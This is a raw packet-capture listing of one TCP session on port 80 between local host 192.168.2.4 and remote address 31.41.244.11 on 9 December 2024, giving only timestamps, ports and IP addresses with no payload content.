Dec 9, 2024 20:28:11.764051914 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.764108896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.764153957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.764199972 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.765115976 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.765173912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.765208960 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.765254021 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.766166925 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.766223907 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.766223907 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.766279936 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.767241001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.767296076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.767340899 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.767420053 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.768320084 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.768368006 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.768382072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.768409967 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.769373894 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.769437075 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.769474030 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.769520044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.770464897 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.770505905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.770524025 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.770559072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.771574020 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.771645069 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.771651983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.771692991 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.772567034 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.772627115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.772804022 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.772857904 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.773685932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.773749113 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.773818016 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.773865938 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.774702072 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.774769068 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.774833918 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.774883986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.775780916 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.775804043 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.775845051 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.775871038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.776829958 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.776921034 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.776923895 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.776963949 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.777885914 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.777940989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.778006077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.778053045 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.778960943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.779017925 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.779055119 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.779093981 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.781302929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.781379938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.781380892 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.781394958 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.781423092 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.781452894 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.781541109 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.781594992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.782160044 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.782255888 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.782263041 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.782295942 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.783225060 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.783279896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.783329964 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.783375978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.784292936 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.784349918 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.784395933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.784442902 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.785332918 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.785389900 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.785546064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.785595894 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.786403894 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.786463022 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.786505938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.786554098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.787501097 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.787559032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.787566900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.787647009 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.788549900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.788608074 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.788800001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.788849115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.789578915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.789633989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.789722919 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.789772034 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.790692091 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.790747881 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.790805101 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.790849924 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.791749954 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.791810036 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.791846037 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.791891098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.792798996 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.792855024 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.792855978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.792892933 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.793880939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.793941975 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.793975115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.794020891 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.794958115 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.795013905 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.795074940 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.795120001 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.795998096 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.796051979 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.796093941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.796134949 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.797080040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.797133923 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.797161102 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.797203064 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.798106909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.798161983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.798176050 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.798302889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.799196005 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.799247980 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.799325943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.799369097 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.800278902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.800344944 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.800395966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.800440073 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.801378012 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.801444054 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.801476002 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.801525116 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.802424908 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.802468061 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.802483082 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.802505970 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.803736925 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.803816080 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.803828001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.803872108 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.804527998 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.804586887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.804594994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.804646015 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.805697918 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.805720091 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.805757046 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.805783987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.806771994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.806828022 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.806843996 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.806890965 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.807750940 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.807805061 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.807862997 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.807910919 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.808796883 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.808855057 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.808856964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.808900118 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.809935093 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.809992075 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.810182095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.810230017 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.810957909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.811014891 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.947360039 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.947438955 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.947438955 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.947484016 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.947837114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.947896004 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.947899103 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.947947025 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.948587894 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.948632956 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.948683023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.948724985 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.949675083 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.949727058 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.949819088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.949866056 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.950762033 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.950825930 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.950851917 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.950922012 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.951817036 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.951872110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.951916933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.951962948 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.952863932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.952914953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.952960968 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.953006983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.953933001 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.953989983 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.954018116 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.954062939 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.954983950 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.955039978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.955116987 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.955164909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.956046104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.956115961 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.956156015 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.956206083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.957114935 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.957170010 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.957215071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.957256079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.958162069 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.958216906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.958245039 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.958287001 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.959228992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.959278107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.959516048 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.959570885 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.960325003 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.960390091 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.960460901 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.961363077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.961416960 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.961478949 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.961551905 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.962426901 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.962474108 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.962527037 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.962610006 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.963510990 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.963568926 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.963604927 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.963649988 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.964560986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.964618921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.964621067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.964653015 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.965845108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.965859890 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.965905905 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.966681957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.966742992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.966784954 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.966825962 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.967819929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.967888117 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.967964888 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.968015909 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.968889952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.968933105 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.969017029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.969932079 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.970012903 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.970057011 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.970105886 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.971019983 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.971091032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.971127987 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.971182108 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.972095966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.972223043 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.972233057 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.972302914 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.973136902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.973213911 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.973218918 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.973265886 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.974153996 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.974226952 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.974260092 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.974308014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.975239038 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.975301027 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.975349903 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.975399971 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.976263046 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.976321936 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.976332903 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.976360083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.977392912 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.977447987 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.977484941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.977526903 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.978466034 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.978530884 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.978573084 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.978624105 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.979542971 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.979593992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.979664087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.979706049 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.980750084 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.980804920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.980875969 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.980917931 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.981622934 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.981667995 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.981703997 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.981746912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.982686043 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.982734919 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.982774019 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.982812881 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.983701944 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.983762026 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.983831882 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.983876944 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.984800100 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.984854937 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.984891891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.984937906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.985853910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.985903978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.985946894 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.985990047 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.986934900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.986996889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.987034082 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.987083912 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.988050938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.988111973 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.988153934 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.988202095 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.989048004 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.989101887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.989164114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:11.989211082 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:11.990098000 CET	80	49795	31.41.244.11	192.168.2.4
